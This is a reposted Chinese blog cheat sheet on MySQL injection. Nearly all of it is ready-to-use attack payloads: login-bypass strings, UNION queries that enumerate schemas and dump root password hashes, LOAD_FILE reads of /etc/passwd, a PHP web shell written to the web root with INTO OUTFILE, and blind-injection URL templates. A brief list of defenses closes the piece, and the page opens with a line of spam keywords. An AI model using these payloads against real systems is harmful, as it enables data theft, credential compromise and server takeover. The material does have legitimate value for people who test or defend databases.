九色国产,午夜在线视频,新黄色网址,九九色综合,天天做夜夜做久久做狠狠,天天躁夜夜躁狠狠躁2021a,久久不卡一区二区三区

打開APP
userphoto
未登錄

開通VIP,暢享免費(fèi)電子書等14項(xiàng)超值服

開通VIP
mysql注入大全及防御

0.明白存在的位置:get型 post型 cookie型 http頭注入

 

 

1.先測(cè)試注入點(diǎn),注冊(cè)框、搜索框、地址欄啥的,判斷是字符型,搜索型還是數(shù)字型

字符型 1' and '1'='1 成功, 1' and '1'='2 報(bào)錯(cuò)   1成功,1'報(bào)錯(cuò) 注意閉合

萬(wàn)能密碼:1' or ’1‘=’1 #

數(shù)字型去掉'同理

搜索型 select password from  users where user  like '%  admin %'   注意通配符閉合

SELECT * FROM `users` WHERE user_id ='1 'or 1=1 # ' 可以爆出所有數(shù)據(jù),除非limit 1,原理和萬(wàn)能密碼一樣,后接了or 此where功能失效,相當(dāng)于SELECT * FROM `users`

 

2.猜字段,判斷select返回的有多少字段(多少列)

1’ order by 1 #

1’ order by 2 #.  //原理是2是按照select后返回的第二列排序顯示。如果沒有這一列,報(bào)錯(cuò)

暴字段位置
    and 1=2 union select 1,2,3,4,5…..n/*  

and 1=2 代表業(yè)務(wù)內(nèi)的查詢一定不會(huì)成功,不顯示,讓它顯示union之后的語(yǔ)句,看看報(bào)錯(cuò)或者顯示到幾,就知道業(yè)務(wù)查詢了幾個(gè)字段(列)

union查詢前后的列數(shù)必須相等, 1,2,3,4,5是為了湊字段(例),湊夠才能正常執(zhí)行,同時(shí)還能判斷網(wǎng)站顯示位,

有關(guān)limit:前面是admin' and 1=2 union select....limit 1  //不顯示原有查詢,只從自己構(gòu)造的查詢里取前一條

       admin' and 1=2 union select....limit 2  //不顯示原有查詢,只從自己構(gòu)造的查詢里取前兩條

        admin' and 1=2 union select....limit 0,1  //不顯示原有查詢,只從自己構(gòu)造的查詢里從第1條位置開始,取1個(gè)數(shù)據(jù)

        admin' and 1=2 union select....limit 2,4  //不顯示原有查詢,只從自己構(gòu)造的查詢里從第3條位置開始,取4個(gè)數(shù)據(jù)

 

3.查詢數(shù)據(jù)庫(kù)名,

union select database(),2 #    //后面如果是字符型接#注釋掉后面的,database(),2按照要求要返回同原始查詢相同數(shù)目的字段數(shù),也可以接    database(),database(),湊夠原始查詢字段數(shù)就可以

version(), database(),user()這幾個(gè)相當(dāng)于全局變量 , 在數(shù)據(jù)庫(kù)中直接select version()就會(huì)返回對(duì)應(yīng)的數(shù)據(jù)庫(kù)版本信息;

跨庫(kù)旁注:

一。查看所有數(shù)據(jù)庫(kù)名

1'union select 1,schema_name from schemata #

 

4.查詢表名

有了數(shù)據(jù)庫(kù)下一步就是確定其中有哪些數(shù)據(jù)表,我們可以通過(guò)mySQL數(shù)據(jù)庫(kù)自帶的information_schema來(lái)知道,這個(gè)information_schema就是用來(lái)存儲(chǔ)mySQL數(shù)據(jù)庫(kù)所有信息的數(shù)據(jù)庫(kù)??梢钥吹綌?shù)據(jù)庫(kù)中有一些數(shù)據(jù)表
其中有tables數(shù)據(jù)庫(kù),用來(lái)存放數(shù)據(jù)表的信息。插入以下的payload 
1’ union select table_name,1 from information_schema.tables where table_schema=’上面查詢出來(lái)的數(shù)據(jù)庫(kù)名’ #  前面依然保持字段數(shù)

不出意外,下面除了第一行正常數(shù)據(jù),下面的都是所在業(yè)務(wù)數(shù)據(jù)庫(kù)表名,自行通過(guò)limit限制查詢指定表

像一些access需要猜表名,select1,2,3,4,5,...from admin//如果有admin,返回正常,沒有就報(bào)錯(cuò)

information_schema.tables:

information_schema數(shù)據(jù)庫(kù)下的tables表名,含義:存儲(chǔ)所有數(shù)據(jù)庫(kù)下的表名信息的表。

Table_schema:數(shù)據(jù)庫(kù)名

Table_name:表名

 

 

5.了解列名

我們還不知道這個(gè)數(shù)據(jù)表里有哪些字段(列),這就要用到mysql里 information_schema其中columns這個(gè)數(shù)據(jù)表了。插入如下的payload 
1’ union select column_name,2 from information_schema.columns where table_name=’上面的其中一個(gè)表名’ and table_schema=’業(yè)務(wù)所在的數(shù)據(jù)庫(kù)名’ 

假如出來(lái)了user  和password字段

information_schema.columns:

information_schema數(shù)據(jù)庫(kù)下的columns表名,含義:存儲(chǔ)所有數(shù)據(jù)庫(kù)下的列名信息的表。

Column_name:列名

 

6.啥都知道了,直接查

1' union select user,password from users

 

 

 

以下為轉(zhuǎn)載防備忘

 //這個(gè)可以判斷數(shù)據(jù)庫(kù)的版本是否為數(shù)字5開頭
  select * from db where 1 = 1 and mid(version(),1,1)=5

  //通過(guò)union查詢可以獲取數(shù)據(jù)庫(kù)的版本信息, 當(dāng)然了, union查詢要求字段一定匹配;
  select * from orders union select 1,version() from orders

  //確定查詢的字段數(shù),如果返回成功, 那么union會(huì)成功;
  select * from orders union select 1,1 from orders

  //通過(guò)在where后面添加and ord(mid(version(),1,1))<50 判斷數(shù)據(jù)庫(kù)的版本號(hào)
  select * from db where 1 = 1 and ord(mid(version(),1,1))<50

  //這個(gè)可以查詢到當(dāng)前的用戶信息(比如root)
  select * from orders union select database(),user() from orders

  //返回用戶數(shù)
  select * from orders where 1=1 and 1=2 union select 1,count(*) from mysql.user

  //獲取用戶名為root的密碼;
  select * from orders where 1=1 and 1=2 union select 1,Password from mysql.user where User='root'

  //根據(jù)當(dāng)前字段數(shù)獲取information_schema中保存所有數(shù)據(jù)庫(kù)信息
  select * from orders where 1=1 and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA

  //information_schema.TABLES這個(gè)字段保存的是mysql的表信息
  select * from orders where 1=1 and 1=2 union select 1,TABLE_NAME from information_schema.TABLES limit 1,100

  //獲取world這個(gè)數(shù)據(jù)庫(kù)的表結(jié)構(gòu), 當(dāng)然, 你首先爆數(shù)據(jù)庫(kù)名;
  select * from orders where 1=1 and 1=2 union select 1,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='world' limit 1,100

  //獲取字段, 要知道數(shù)據(jù)庫(kù)和表的名字,就可以獲取字段的名字了
  select * from orders where 1=1 and 1=2 union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = 'ci  //尼瑪啊, 喲了root這個(gè)是直接爆密碼的節(jié)奏啊;

  select * from orders where 1=1 and 1=2 union select User,Password from mysql.use

  //如果略顯無(wú)聊, 我們可以利用;insert into orders(name) values('hehe');增加自己想要的字段;

  select * from orders where 1=1 ;insert into orders(name) values('hehe');

  //我們可以把查詢出來(lái)的數(shù)據(jù)保存,當(dāng)然了,你要知道保存的目錄.... 就是傳jsp, asp, php小馬, 小馬傳大馬, 大馬傳木馬, 然后就呵呵了( ̄▽ ̄)"
  select user from mysql.user where 1=1 into outfile 'e:/sql.txt';

 

  //o(^▽^)o,下面是轉(zhuǎn)載的,防忘記,

  暴字段長(zhǎng)度
    order by num/*

  匹配字段
    and 1=1 union select 1,2,3,4,5…….n/*

  暴字段位置
    and 1=2 union select 1,2,3,4,5…..n/*

  利用內(nèi)置函數(shù)暴數(shù)據(jù)庫(kù)信息
    database() user()

    version():數(shù)據(jù)庫(kù)版本

    @@version_compile_os:操作系統(tǒng)

  不用猜解可用字段暴數(shù)據(jù)庫(kù)信息(有些網(wǎng)站不適用):

    and 1=2 union all select version() /*
    and 1=2 union all select database() /*
    and 1=2 union all select user() /*

  操作系統(tǒng)信息:
    and 1=2 union all select @@global.version_compile_os from mysql.user /*

  數(shù)據(jù)庫(kù)權(quán)限:
    and ord(mid(user(),1,1))=114 /* 返回正常說(shuō)明為root

  暴庫(kù) (mysql>5.0)

  Mysql 5 以上有內(nèi)置庫(kù) information_schema,存儲(chǔ)著mysql的所有數(shù)據(jù)庫(kù)和表結(jié)構(gòu)信息
    and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1

  猜表
    and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=數(shù)據(jù)庫(kù)(十六進(jìn)制) limit 0(開始的記錄,0為第一個(gè)開始記錄),1(顯示1條記錄)—

  猜字段
    and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六進(jìn)制)limit 0,1

  暴密碼
  and 1=2 Union select 1,2,3,用戶名段,5,6,7,密碼段,8,9 from 表名 limit 0,1 //限制僅顯示一條信息,避免頁(yè)面出錯(cuò)

  高級(jí)用法(一個(gè)可用字段顯示兩個(gè)數(shù)據(jù)內(nèi)容):
    Union select 1,2,3concat(用戶名段,0x3c,密碼段),5,6,7,8,9 from 表名 limit 0,1

 

 

 八、文件操作
  1. 文件操作權(quán)限
  一定是要root 權(quán)限,是什么權(quán)限由web應(yīng)用連接的用戶決定
  在MySQL中,存在一個(gè)稱為secure_file_priv的全局系統(tǒng)變量。 該變量用于限制數(shù)據(jù)的導(dǎo)入和導(dǎo)出操作,例如SELECT … INTO OUTFILE語(yǔ)句和LOAD_FILE()
  權(quán)限和用戶名在mysql.user
  如果secure_file_priv變量為空那么直接可以使用函數(shù),如果為null是不能使用
  但在mysql的5.5.53之前的版本是默認(rèn)為空,之后的版本為null,所有是將這個(gè)功能禁掉了
  也可使用如下語(yǔ)句查詢
  2. 讀文件(可不要求絕對(duì)路徑)
  路徑“/”或 “\\”
  讀文件函數(shù)LOAD_FILE()
  Examples:
  SELECT LOAD_FILE('/etc/passwd'); 
  SELECT LOAD_FILE(0x2F6574632F706173737764);
  注意點(diǎn):
  LOAD_FILE的默認(rèn)目錄@@datadir
  文件必須是當(dāng)前用戶可讀
  讀文件最大的為1047552個(gè)byte, @@max_allowed_packet可以查看文件讀取最大值
  3. 寫文件
  INTO OUTFILE/DUMPFILE
  經(jīng)典寫文件例子:
  如果寫入的內(nèi)容中包含單引號(hào)等特殊字符,可以轉(zhuǎn)成hex值寫入,這里不需要用單引號(hào)將文件內(nèi)容括住閉合
  To write a PHP :
  SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';
  這兩個(gè)函數(shù)都可以寫文件,但是有很大的差別
  INTO OUTFILE函數(shù)寫文件時(shí)會(huì)在每一行的結(jié)束自動(dòng)加上換行符
  INTO DUMPFILE函數(shù)在寫文件會(huì)保持文件得到原生內(nèi)容,這種方式對(duì)于二進(jìn)制文件是最好的選擇
  當(dāng)我們?cè)赨DF提權(quán)的場(chǎng)景是需要上傳二進(jìn)制文件等等用OUTFILE函數(shù)是不能成功的
  注意點(diǎn):
  INTO OUTFILE不會(huì)覆蓋文件
  INTO OUTFILE必須是查詢語(yǔ)句的最后一句
  路徑名是不能編碼的,必須使用單引號(hào)

  load_file()常用的敏感信息見我另外一篇博客,暴路徑寫馬拿shell的一些姿勢(shì)

 


replace(load_file(0x2F6574632F706173737764),0x3c,0x20)

replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

上面兩個(gè)是查看一個(gè)PHP文件里完全顯示代碼.有些時(shí)候不替換一些字符,如 "<" 替換成"空格" 返回的是網(wǎng)頁(yè).而無(wú)法查看到代碼.

 

 

 

9.盲注

 基于時(shí)間的盲注:

sleep()函數(shù)可以延時(shí)是使數(shù)據(jù)庫(kù)執(zhí)行,同時(shí)也可以判斷當(dāng)前語(yǔ)句是否能正確執(zhí)行,正確執(zhí)行會(huì)延時(shí)

例如:union select 1,2,sleep(5) from....

if(條件,true參數(shù),false參數(shù)),如果條件成立,返回true參數(shù),否則返回false參數(shù)

   0.明白 ’ and if(length(database())=6,sleep(5),sleep(0))  --+ 管用,這里頁(yè)面正不正常無(wú)所謂,重要的是看執(zhí)行時(shí)間

   1.定字段數(shù)

union select 1,2,sleep(2) //order by失效時(shí)判斷是不是3個(gè)字段(結(jié)果集的列、顯示位),是則延遲兩秒顯示結(jié)果

   2.定數(shù)據(jù)庫(kù)

 union select1,2,sleep(  if(length(database())=5,5,0)  ) from....//判斷數(shù)據(jù)庫(kù)名長(zhǎng)度是不是5位,是的話網(wǎng)頁(yè)延遲5秒執(zhí)行,否則立即執(zhí)行,也可以用>5、<5來(lái)判斷

簡(jiǎn)單的:.php?id=1 and sleep(  if(length(database())=5,5,0) ) 也可以行的通,因?yàn)檫@里sleep一定會(huì)執(zhí)行。

union select1,2,sleep(   if(mid(database(),1,1)='s',5,0)  ) from...//判斷數(shù)據(jù)庫(kù)名第一位是不是s,此法可逐位猜解數(shù)據(jù)庫(kù)名

http://127.0.0.1/index.php?user=admin' and sleep(if(mid(database(),2,1)='v',5,0))  -- #   //判斷數(shù)據(jù)庫(kù)名字第二位是不是v

   3.定表名

admin' and 1=2  union select sleep(if(mid(table_name,1,1)='u',5,0)),1 ,2 from information_schema.tables where table_schema='dvwa' limit 1,1 #

//dvwa數(shù)據(jù)庫(kù)第二個(gè)表位置,取一個(gè)數(shù)量的表,判斷它表名第一位是不是u,是的話延時(shí)5秒顯示結(jié)果

 select * from users union select  sleep(if(user='admin',5,3)),2,3,4,5,6,7,8 from users limit 0,1 ; //判斷表內(nèi)有沒有admin,有就延遲5秒顯示,否則三秒,從第一條位置開始取一條結(jié)果,且只讓sleep執(zhí)行一次,否則延遲元組數(shù)*5秒

   4.定列名

也是以下思路,先用length判斷長(zhǎng)度再用if猜解,其中ORD()返回字符串第一位的ASCII值,但是在access中,這個(gè)函數(shù)是asc()

基于布爾型的盲注:

 

若為布爾盲注,則按照以下步驟進(jìn)行:

 

一、得到數(shù)據(jù)庫(kù)的長(zhǎng)度

 

http://localhost/index.php?id=2' and length(database())>1%23

 

二、獲取數(shù)據(jù)庫(kù)名稱

 

姿勢(shì):http://localhost/index.php?id=2' and ascii(substr(database(), {0}, 1))={1}%23
三、獲取表長(zhǎng)度
姿勢(shì):http://localhost/index.php?id=2' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0 %23
四、獲取表名
和第二步獲得數(shù)據(jù)庫(kù)名差不多,姿勢(shì)稍微變了一下:
http://localhost/index.php?id=2' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1)), {0}, 1)={1}%23
五、獲取字段的個(gè)數(shù)和長(zhǎng)度
姿勢(shì):http://localhost/index.php?id=2' and (select length(column_name) from information_schema.columns where table_name = 0x666C6167 limit 0,1)>0%23
其中l(wèi)imit 0,1表示第一列,limit 1,1為第二列,依次類推。
六、獲取字段名稱
姿勢(shì):http://localhost/index.php?id=2' and ascii(substr((select column_name from information_schema.columns where table_name = 0x666C6167 limit 0,1), {0}, 1))={1}%23

 

 

 

 

 

 旁注原理很簡(jiǎn)單,跨庫(kù)注入,不說(shuō)了。

 

10.加密注入、base64注入

http://127.0.0.1/sqlin/base64/index.php?id=MSBhbmQgMT0x

id=后面是base64加密的1 and 1=1,有些工具、sqlmap不加temper 跑不出來(lái),

流程:業(yè)務(wù)層base64加密生成,顯示在url上面,然后傳入后臺(tái)時(shí)base64解密,與MD5大寫或者小寫(不超過(guò)F)一種加數(shù)字,位數(shù)固定相比,base64位數(shù)不固定26種字母加大小寫混編,后面常常以等于號(hào)結(jié)束。

滲透思路,滲透的sql語(yǔ)句先用工具base64加密,再拼接在注入點(diǎn)后面

 

11.二次注入

很智慧,在能輸入的地方,比如留言板之類寫入sql語(yǔ)句。然后這些語(yǔ)句提交后被當(dāng)作評(píng)論或正常內(nèi)容送入數(shù)據(jù)庫(kù)存儲(chǔ)。

數(shù)據(jù)存進(jìn)去了,查看的時(shí)候好戲來(lái)了,自己發(fā)的內(nèi)容被展示時(shí),查詢語(yǔ)句和自己提交的sql語(yǔ)句拼接,達(dá)到查詢敏感信息,有注入效果。

比如一張表user有ID 、password、profile。填寫介紹時(shí),在profile寫 Drkang' and 1=2 union select 1,user(),database() from.....and '1'='1 

而碰巧業(yè)務(wù)查詢語(yǔ)句是select id,password,profile from user where id=' $id '或者select * from  user where id=' $id ',正好就拼接成了

 select * from  user where id='Drkang' and 1=2 union select 1,user(),database() from.....and '1'='1 '。在織夢(mèng)CMs里以前經(jīng)常出這些問(wèn)題。

而顯示如果是類似$while(isset($result)){  echo $id $password $profile}這樣的語(yǔ)句。返回的是自己注入的信息。

 

 

 

 

 

12.偽靜態(tài)注入:

http://127.0.0.1/index/id/1.html

可以經(jīng)過(guò)中轉(zhuǎn)為.php?id=1注入,也可以進(jìn)行手動(dòng)測(cè)試

http://127.0.0.1/index/id/1/**/and/**/1=1.html,注釋只能用/**/不能用#

還有的后面是用base64加密的偽靜態(tài)

跑sqlmap時(shí):sqlmap -u http://127.0.0.1/index/id/1*.html

注意一下就可以了,原理思路還是和普通注入一樣。

 

 

 

 

 

13防御加固:

過(guò)濾函數(shù):

1.

2.魔術(shù)引號(hào)(‘ " null  \)。magic_quotes_gpc所有被返回的數(shù)據(jù)都會(huì)被\轉(zhuǎn)義。php4.3.4是一個(gè)分界點(diǎn)

3.自定義的過(guò)濾函數(shù)、正則表達(dá)等

4.參數(shù)化sql、存儲(chǔ)過(guò)程

php.ini合理配置,dispaly_error關(guān)掉。不顯示報(bào)錯(cuò)路徑

 

本站僅提供存儲(chǔ)服務(wù),所有內(nèi)容均由用戶發(fā)布,如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請(qǐng)點(diǎn)擊舉報(bào)
打開APP,閱讀全文并永久保存 查看更多類似文章
猜你喜歡
類似文章
mysql注入總結(jié)
WEB常見漏洞之SQL注入(靶場(chǎng)篇—2)
談一談|SQL注入之顯錯(cuò)注入
MySQL手工注入學(xué)習(xí)-1
最簡(jiǎn)單的注入
MySql 獲取表的字段名
更多類似文章 >>
生活服務(wù)
熱點(diǎn)新聞
分享 收藏 導(dǎo)長(zhǎng)圖 關(guān)注 下載文章
綁定賬號(hào)成功
后續(xù)可登錄賬號(hào)暢享VIP特權(quán)!
如果VIP功能使用有故障,
可點(diǎn)擊這里聯(lián)系客服!

聯(lián)系客服